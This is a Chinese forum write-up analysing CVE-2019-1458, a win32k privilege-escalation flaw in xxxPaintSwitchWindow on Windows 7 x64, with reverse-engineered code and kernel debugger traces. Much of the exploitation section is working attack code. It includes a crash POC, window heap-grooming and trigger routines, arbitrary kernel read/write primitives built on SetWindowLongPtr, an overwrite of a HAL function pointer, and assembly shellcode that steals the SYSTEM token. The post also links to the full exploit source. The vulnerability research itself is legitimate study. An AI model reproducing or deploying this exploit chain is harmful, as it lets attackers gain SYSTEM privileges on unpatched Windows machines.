-
-
[原创]CVE-2019-1458提权漏洞学习笔记
-
2022-6-28 15:54 7073
-
一.前言
1.漏洞描述
该漏洞存在于win32k的xxxPaintSwitchWindow函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。可是这最开始的八字节中保存的内容可以通过SetWindowLong函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra,通过内存布局,在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。
2.实验环境
操作系统:Win7 x64 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二.漏洞分析
漏洞函数xxxPaintSwitchWindow只有一个参数,就是窗口对象的tagWND结构体,在win7 x64系统下,该结构体共占128字节,定义如下:
2: kd> dt win32k!tagWND -v struct tagWND, 170 elements, 0x128 bytes +0x000 head : struct _THRDESKHEAD, 5 elements, 0x28 bytes +0x028 state : Uint4B +0x02c state2 : Uint4B +0x030 ExStyle : Uint4B +0x034 style : Uint4B +0x038 hModule : Ptr64 to Void +0x040 hMod16 : Uint2B +0x042 fnid : Uint2B +0x048 spwndNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x050 spwndPrev : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x058 spwndParent : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x060 spwndChild : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x068 spwndOwner : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x070 rcWindow : struct tagRECT, 4 elements, 0x10 bytes +0x080 rcClient : struct tagRECT, 4 elements, 0x10 bytes +0x090 lpfnWndProc : Ptr64 to int64 +0x098 pcls : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes +0x0a0 hrgnUpdate : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes +0x0a8 ppropList : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes +0x0b0 pSBInfo : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes +0x0b8 spmenuSys : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes +0x0c0 spmenu : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes +0x0c8 hrgnClip : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes +0x0d0 hrgnNewFrame : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes +0x0d8 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes +0x0e8 cbwndExtra : Int4B +0x0f0 spwndLastActive : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x0f8 hImc : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes +0x100 dwUserData : Uint8B +0x108 pActCtx : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes +0x110 pTransform : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes +0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x120 ExStyle2 : Uint4B
xxxPaintSwitchWindow函数会将扩展区域中保存的内容赋给rdi:
.text:FFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND) .text:FFFFF97FFF111DEC .text:FFFFF97FFF111E15 xor r13d, r13d .text:FFFFF97FFF111E08 mov rsi, rcx ; 将tagWND赋给rsi .text:FFFFF97FFF111E4F mov rdi, [rsi+128h] ; 取出扩展区域最开始的八字节保存的内容 .text:FFFFF97FFF111E56 jmp short loc_FFFFF97FFF111E5B
验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:
.text:FFFFF97FFF111E5B loc_FFFFF97FFF111E5B: .text:FFFFF97FFF111E5B cmp rdi, r13 ; 验证rdi是否为0 .text:FFFFF97FFF111E5E jz loc_FFFFF97FFF112019 // 省略部分代码 .text:FFFFF97FFF111E77 cmp [rdi+6Ch], r13d ; 验证[rdi+0x6C]保存的内容是否为0 .text:FFFFF97FFF111E7B jz short loc_FFFFF97FFF111E94
之后还会对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,这里不难看出,增减的数值由GetDPIMetrics函数的返回值决定,不过这不是重点,重点是这些操作是会扩大这些与rdi偏移的地址中保存的内容:
这里的问题就很明显,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改,只要将这个地址修改为一个非法地址,函数对非法地址的读写就会产生BSOD。如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra。
三.漏洞验证
触发该的函数调用链为:NtUserMessageCall -> NtUserfnINLPDRAWITEMSTRUCT -> xxxWrapSwitchWndProc -> xxxSwitchWndProc -> xxxPaintSwitchWindow。
首先是NtUserMessageCall函数,该函数在msg < 0x400的时候就会调用gapfnMessageCall数组中保存的函数地址:
__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7) { if ( (unsigned int)msg < 0x400 ) { v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])( v12, (unsigned int)msg, wParam, lParam, ResultInfo, dwType, v15); } }
gapfnMessageCall数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT:
NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移,调用gpsi偏移中保存的函数:
__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType) { return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8, v7, v6, &Dst, a5); }
而gpsi偏移地址保存的函数在InitFunctionTables函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc,所以参数dwType需要为0,这样8 * 6 + 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc。
xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数:
xxxSwitchWndProc主要分为两部分,第一部分如下图所示,会对tagWND->fnid进行判断,而一个新创建的窗口fnid为0,所以最外面的if语句会成立。在if成立的情况下,会有三个地方可能导致函数返回。
第一处是由于tagWND->fnid为0,所以就是在判断tagWND->cbwndExtra是否小于gpsi + 0x154中保存的数值。因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra至少为8。那么,这里就是在判断gpsi偏移0x154保存的内容大于等于至少0x130,而不通过其他操作,[gpsi + 0x154] < 0x130,所以这个条件不会成立。
第二处在传递的参数msg为WM_CREATE的时候,函数就不会返回:
#define WM_CREATE 0x0001
第三处只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。如果这三处都不成立,就会将tagWND->fnid设置为0x2A0。
xxxSwitchWndProc第二处是调用漏洞函数xxxPaintSwitchWindow:
switch ( msg ) { case 0x14u: case 0x3Au: xxxPaintSwitchWindow(tagWND); return 0i64; }
当消息为WM_ERASEBKGND的时候,xxxSwitchWndProc就会调用xxxPaintSwitchWindow:
#define WM_ERASEBKGND 0x0014
想要触发漏洞函数,msg就不为1,可是msg不为1的时候,在xxxSwitchWndProc的第一部分的第二处代码又会返回。所以就需要两次进入xxxSwitchWndProc函数,第一次的时候msg要为WM_CREATE(0x1),这样函数会将tagWND->fnid设置为0x2A0。第二次在调用的时候,msg就可以指定为WM_ERASEBKGND(0x14),此时由于第一次进入将tagWND->fnid设置为0x2A0,xxxSwitchWndProc就会绕过第一部分的代码,直接在第二部分判断消息,调用漏洞函数xxxPaintSwitchWindow。
在xxxPaintSwitchWindow函数中,在第4处获取扩展区域最开始八字节保存的地址之前,也有三个地方需要绕过:
第一处的绕过,只需要创建窗口的时候,指定窗口可见就可以。在xxxSwitchWndProc函数中,已经设置了tagWND->fnid为0x2A0,所以不需要绕过。第三处还是在判断[gpsi + 0x154]和cbwndExtra + 0x128的数值大小,创建窗口的时候,cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"窗口的时候,会将[gpsi + 0x154]设置为0x130,所以只需要通过创建这样一个窗口就可以绕过。
因此,漏洞触发步骤如下:
创建一个可见的带有八字节扩展区域的窗口用来触发漏洞
调用NtUserMessageCall,参数msg为WM_CREATE(0x1),将tagWND->fnid设置为0x2A0
将扩展区域最开始八字节保存的地址设置为一个不合法的地址
创建类名为"32771"的窗口,将[gpsi + 0x154]设置为0x130
调用NtUserMessageCall函数,参数msg为WM_ERASEBKGND(0x14),这样就会指向漏洞函数
相应POC代码如下:
BOOL POC_CVE_2019_1458() { BOOL bRet = TRUE; HINSTANCE handle = NULL; handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; } char *pBuf = "POC"; WNDCLASSEX wc = { 0 }; wc.cbSize = sizeof(wc); wc.cbWndExtra = 8; wc.hInstance = handle; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pBuf; if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; } HWND hPocWnd = NULL; // 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, handle, NULL); if (!hPocWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; } // 设置tagWND->fnid为0x2A0 NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0, 0); // 设置内存地址 SetWindowLongPtrW(hPocWnd, 0, 0x1900); // 设置[gpsi + 0x154] = 0x130 if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0, NULL, NULL, handle, NULL)) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; } // 触发漏洞 NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0); exit: return bRet; }
在上图的第四处,也就是取出扩展区域最开始八字节保存的地址代码处下断点,编译运行POC,程序就会绕过上面的判断成功执行到这里:
3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x63 3: kd> g Breakpoint 0 hit win32k!xxxPaintSwitchWindow+0x63: fffff960`00201e4f 488bbe28010000 mov rdi,qword ptr [rsi+128h] 0: kd> p win32k!xxxPaintSwitchWindow+0x6a: fffff960`00201e56 eb03 jmp win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)
继续向下运行,函数会对扩展区域保存的八字节地址进行读取,而这个地址已经被设置为一个不合法的地址:
3: kd> p win32k!xxxPaintSwitchWindow+0x6f: fffff960`00201e5b 493bfd cmp rdi,r13 3: kd> p win32k!xxxPaintSwitchWindow+0x72: fffff960`00201e5e 0f84b5010000 je win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019) 3: kd> p win32k!xxxPaintSwitchWindow+0x78: fffff960`00201e64 33d2 xor edx,edx 3: kd> p win32k!xxxPaintSwitchWindow+0x7a: fffff960`00201e66 41b800000100 mov r8d,10000h 3: kd> p win32k!xxxPaintSwitchWindow+0x80: fffff960`00201e6c 488bce mov rcx,rsi 3: kd> p win32k!xxxPaintSwitchWindow+0x83: fffff960`00201e6f e8dccbfaff call win32k!GetDCEx (fffff960`001aea50) 3: kd> p win32k!xxxPaintSwitchWindow+0x88: fffff960`00201e74 488be8 mov rbp,rax 3: kd> p win32k!xxxPaintSwitchWindow+0x8b: fffff960`00201e77 44396f6c cmp dword ptr [rdi+6Ch],r13d 3: kd> r rdi rdi=0000000000001900 3: kd> dq 0000000000001900 00000000`00001900 ????????`???????? ????????`???????? 00000000`00001910 ????????`???????? ????????`???????? 00000000`00001920 ????????`???????? ????????`???????? 00000000`00001930 ????????`???????? ????????`???????? 00000000`00001940 ????????`???????? ????????`???????? 00000000`00001950 ????????`???????? ????????`???????? 00000000`00001960 ????????`???????? ????????`???????? 00000000`00001970 ????????`???????? ????????`????????
继续运行就会因为对不合法地址进行读取造成BSOD:
1: kd> !analyze -v Connected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff96000131e77, Address of the instruction which caused the bugcheck Arg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. CONTEXT: fffff88006916ea0 -- (.cxr 0xfffff88006916ea0) rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000 rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900 rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568 r8=0000000000000000 r9=0000000000000000 r10=fffff880069176c0 r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na pe nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282 win32k!xxxPaintSwitchWindow+0x8b: fffff960`00131e77 44396f6c cmp dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=???????? Resetting default scope PROCESS_NAME: exp_x64.exe STACK_TEXT: win32k!xxxPaintSwitchWindow+0x8b win32k!xxxSwitchWndProc+0xc5 win32k!xxxWrapSwitchWndProc+0x3c win32k!NtUserfnDWORD+0x27 win32k!NtUserMessageCall+0x132 nt!KiSystemServiceCopyEnd+0x13 exp_x64+0x107b exp_x64+0x3f81a
四.漏洞利用
要利用这个漏洞,需要在触发漏洞的窗口高地址不远处布置另一个用来攻击的窗口,所以需要首先创建一些用来攻击的窗口,然后释放掉中间的一部分,这样触发漏洞时候创建的窗口就会占用释放的某个窗口,高地址就会保存其他的窗口,相应代码如下:
BOOL Init_CVE_2019_1458(HWND *hWndList) { BOOL bRet = TRUE; WNDCLASSEX wc = { 0 }; char *pAttackName = "Attack"; DWORD i = 0; HINSTANCE handle = NULL; handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; } memset(&wc, 0, sizeof(wc)); wc.cbSize = sizeof(wc); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pAttackName; wc.cbWndExtra = 8; if (!RegisterClassEx(&wc)) { ShowError("RegisterClassEx", GetLastError()); bRet = FALSE; goto exit; } // 创建用来攻击的窗口 for (i = 0; i < 100; i++) { hWndList[i] = CreateWindowEx(NULL, pAttackName, "Hack Window", WS_VISIBLE, 0, 0, 0, 0, NULL, 0, handle, 0); if (!hWndList[i]) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } } // 释放其中的一部分用来保存触发漏洞时候创建的窗口 for (i = 20; i < 80; i += 2) { if (!DestroyWindow(hWndList[i])) { ShowError("DestroyWindow", GetLastError()); bRet = FALSE; goto exit; } hWndList[i] = NULL; } exit: return bRet; }
在漏洞触发的时候,只要找到高地址处最近的窗口就可以完成攻击。此时,窗口扩展区域最开始八字节保存的地址应当是触发漏洞窗口的cbwndExtra地址减去0x60偏移的地址,因为xxxPaintSwitchWindow进行加减入操作的时候,是从偏移0x5C开始的。另外,在到达对内存进行加减操作之前,函数还会判断Alt键是否被按下,所以触发漏洞之前,需要模拟Alt的按键消息才能成功的完成加减的操作。
一旦成功扩大cbwndExtra,就可以利用SetWindowLong修改高位地址的tagWND实现任意地址读写完成提权,所以此时触发漏洞的代码如下:
BOOL Trigger_CVE_2019_1458(HWND *hWndList) { BOOL bRet = TRUE; HINSTANCE handle = NULL; lHMValidateHandle HMValidateHandle = NULL; handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; } HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) { bRet = FALSE; goto exit; } char *pBuf = "Trigger"; WNDCLASSEX wc = { 0 }; wc.cbSize = sizeof(wc); wc.cbWndExtra = 8; wc.hInstance = handle; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pBuf; if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; } HWND hTriggerWnd = NULL; // 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, handle, NULL); if (!hTriggerWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; } // 寻找用来攻击的窗口 ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0; PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW); ulTriggerAddr = (ULONG64)pTriggerHead->pSelf; HWND hAttackWnd = NULL; for (i = 0; i < 100; i++) { if (hWndList[i]) { PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW); ulAttackAddr = (ULONG64)pAttackHead->pSelf; if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000) { hAttackWnd = hWndList[i]; break; } } } if (!hAttackWnd) { printf("Do not find Attack tagWND\n"); bRet = FALSE; goto exit; } // 设置tagWND->fnid为0x2A0 NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0); // 设置内存地址 ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60; SetWindowLongPtrW(hTriggerWnd, 0, ulValue); // 设置[gpsi + 0x154] = 0x130 if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0, NULL, NULL, handle, NULL)) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; } // 模拟Alt按键 BYTE keyState[256]; GetKeyboardState(keyState); keyState[VK_MENU] |= 0x80; SetKeyboardState(keyState); // 触发漏洞 NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0); ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128; if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset)) { bRet = FALSE; goto exit; } exit: return bRet; }
在提权代码中,利用tagWND->spwndParent和tagWND->StrName->Buffer来实现任意代码读写,修改关键函数为ShellCode地址实现提权:
BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset) { BOOL bRet = TRUE; PVOID pTargetAddr = NULL; pTargetAddr = GetHalQuerySystemInformation(); if (!pTargetAddr) { bRet = FALSE; goto exit; } ULONG64 ulOrgFunAddr = 0; // 获取原函数地址 ulOrgFunAddr = ReadData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset); // 将函数修改为ShellCode地址 WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset); // 调用函数执行ShellCode实现提权 if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; } // 恢复原函数 WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset); exit: return bRet; } VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset) { BOOL bRet = TRUE; // 设置要写入的地址 SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr); LARGE_UNICODE_STRING lstrData = { 0 }; lstrData.Length = 0x8; lstrData.MaximumLength = 0xA; lstrData.Buffer = (PWCHAR)&pValue; NtUserDefSetText(hAttackWnd, &lstrData); } ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset) { ULONG64 ulOrg = 0, ulOrgPar = 0; ULONG64 ulParOffset = ulOffset + 0x58; // 获取tagWND->spwndParent ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset); // 设置tagWND->spwndParent为目标地址 SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr); // 读取目标地址内容 ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT); // 恢复tagWND->spwndParent SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar); return ulOrg; }
五.运行结果
在Win7 x64系统中,用来实现提权的关键成员偏移如下:
3: kd> dt _EPROCESS ntdll!_EPROCESS +0x180 UniqueProcessId : Ptr64 Void +0x188 ActiveProcessLinks : _LIST_ENTRY +0x208 Token : _EX_FAST_REF
此时的对象头定义如下,此时Body偏移为0x30,所以提权之后,增加PointerCount时的偏移为-0x30:
kd> dt _OBJECT_HEADER nt!_OBJECT_HEADER +0x000 PointerCount : Int8B +0x008 HandleCount : Int8B +0x008 NextToFree : Ptr64 Void +0x010 Lock : _EX_PUSH_LOCK +0x018 TypeIndex : UChar +0x019 TraceFlags : UChar +0x01a InfoMask : UChar +0x01b Flags : UChar +0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION +0x020 QuotaBlockCharged : Ptr64 Void +0x028 SecurityDescriptor : Ptr64 Void +0x030 Body : _QUAD
相应的ShellCode如下:
ShellCodeInWin7 proc push r8 push r9 ; 从KPCR中获取当前线程_ETHREAD mov rax, gs:[188h] ; 从_ETHREAD中获取当前进程_EPROCESS mov rax, [rax + 70h] mov r8, rax find_system_proc: ; 获取下一进程EPROCESS地址 mov rax, [rax + 188h] sub rax, 188h ; 获取PID mov rdx, [rax + 180h] ; 判断pid是否为4,不为4则跳转 cmp rdx, 4 jne find_system_proc ; 将system的token赋值给本进程,并增加引用计数 mov rax, [rax + 208h] and al, 0f0h mov [r8 + 208h], rax mov r9, 2 add [rax - 30h], r9 ; 设置返回值,退出函数 mov rax, 1 pop r9 pop r8 ret ShellCodeInWin7 endp
相应的代码在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp。编译运行成功,就可以成功提权:
虽然可以成功提权,由于触发漏洞的时候,xxxPaintSwitchWindow会修改0x10字节的数据,所以不只是tagWND->cbwndExtra会被修改,其他成员也会被修改,所以在程序释放窗口的时候就会产生BSOD。尝试过把这些被修改的数据改成0,或者其他窗口的数值,但还是会蓝屏,不知道要怎么解决,就等论坛的其他师傅们探索了。
六.参考资料
[2022夏季班]《安卓高级研修班(网课)》月薪三万班招生中~